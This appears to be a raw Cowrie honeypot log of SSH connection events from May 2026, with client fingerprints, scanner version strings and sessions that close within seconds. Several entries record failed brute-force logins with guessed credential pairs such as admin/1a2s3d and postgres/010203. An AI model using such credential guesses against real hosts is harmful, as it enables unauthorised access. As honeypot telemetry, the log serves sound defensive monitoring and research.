{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":5803,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b448c8942c0","protocol":"ssh","message":"New connection: 131.161.219.137:5803 (159.203.135.109:22) [session: 9b448c8942c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:53.531372Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:53.536414Z","src_ip":"103.125.103.201","session":"4220a9e0c055","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:53.540734Z","src_ip":"131.161.219.137","session":"9b448c8942c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:53.669177Z","src_ip":"131.161.219.137","session":"9b448c8942c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"010203","message":"login attempt [postgres/010203] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:54.215620Z","src_ip":"131.161.219.137","session":"9b448c8942c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vps","password":"12345","message":"login attempt [vps/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:54.467463Z","src_ip":"103.125.103.201","session":"4220a9e0c055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:55.348611Z","src_ip":"131.161.219.137","session":"9b448c8942c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:55.706774Z","src_ip":"103.125.103.201","session":"4220a9e0c055","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.199","src_port":59844,"dst_ip":"159.203.135.109","dst_port":22,"session":"05e3e1fa6df9","protocol":"ssh","message":"New connection: 198.235.24.199:59844 (159.203.135.109:22) [session: 05e3e1fa6df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:57.460545Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":57490,"dst_ip":"159.203.135.109","dst_port":22,"session":"0767b879171b","protocol":"ssh","message":"New connection: 201.6.100.191:57490 (159.203.135.109:22) [session: 0767b879171b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:58.109582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:58.119260Z","src_ip":"201.6.100.191","session":"0767b879171b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:58.245467Z","src_ip":"201.6.100.191","session":"0767b879171b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:58.525418Z","src_ip":"198.235.24.199","session":"05e3e1fa6df9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"Passw0rd","message":"login attempt [tester/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:58.795794Z","src_ip":"201.6.100.191","session":"0767b879171b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":48094,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec7db0f0cb55","protocol":"ssh","message":"New connection: 181.97.227.163:48094 (10.17.0.5:22) [session: ec7db0f0cb55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:59.225055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:59.230009Z","src_ip":"181.97.227.163","session":"ec7db0f0cb55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:59.435652Z","src_ip":"181.97.227.163","session":"ec7db0f0cb55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:59.808769Z","src_ip":"198.235.24.199","session":"05e3e1fa6df9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:02.827502Z","src_ip":"201.6.100.191","session":"0767b879171b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"test","message":"login attempt [debian/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:03.029697Z","src_ip":"181.97.227.163","session":"ec7db0f0cb55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:06.577201Z","src_ip":"181.97.227.163","session":"ec7db0f0cb55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:07.698091Z","src_ip":"198.235.24.199","session":"05e3e1fa6df9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":39532,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ddc7c806d8e","protocol":"ssh","message":"New connection: 43.173.69.147:39532 (159.203.135.109:22) [session: 4ddc7c806d8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:13.283246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:13.287899Z","src_ip":"43.173.69.147","session":"4ddc7c806d8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:13.356112Z","src_ip":"43.173.69.147","session":"4ddc7c806d8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1a2s3d","message":"login attempt [admin/1a2s3d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:13.660119Z","src_ip":"43.173.69.147","session":"4ddc7c806d8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:14.735728Z","src_ip":"43.173.69.147","session":"4ddc7c806d8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":60250,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4ac2a2c2d9e","protocol":"ssh","message":"New connection: 101.36.106.162:60250 (10.17.0.5:22) [session: b4ac2a2c2d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:16.267575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:16.271627Z","src_ip":"101.36.106.162","session":"b4ac2a2c2d9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:16.487416Z","src_ip":"101.36.106.162","session":"b4ac2a2c2d9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser@","message":"login attempt [testuser/testuser@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:17.380909Z","src_ip":"101.36.106.162","session":"b4ac2a2c2d9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:18.600685Z","src_ip":"101.36.106.162","session":"b4ac2a2c2d9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.87053298950195,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:19.693600Z","src_ip":"135.148.33.91","session":"14ba513e2679","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":35098,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef3f0a6d7b10","protocol":"ssh","message":"New connection: 103.158.40.65:35098 (159.203.135.109:22) [session: ef3f0a6d7b10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:30.308082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:30.312667Z","src_ip":"103.158.40.65","session":"ef3f0a6d7b10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:30.526009Z","src_ip":"103.158.40.65","session":"ef3f0a6d7b10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"aaa","message":"login attempt [user/aaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:31.402134Z","src_ip":"103.158.40.65","session":"ef3f0a6d7b10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:32.618862Z","src_ip":"103.158.40.65","session":"ef3f0a6d7b10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":6231,"dst_ip":"159.203.135.109","dst_port":22,"session":"f49c44d66486","protocol":"ssh","message":"New connection: 131.161.219.137:6231 (159.203.135.109:22) [session: f49c44d66486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:51.177036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:56:51.182149Z","src_ip":"131.161.219.137","session":"f49c44d66486","protocol":"ssh"}
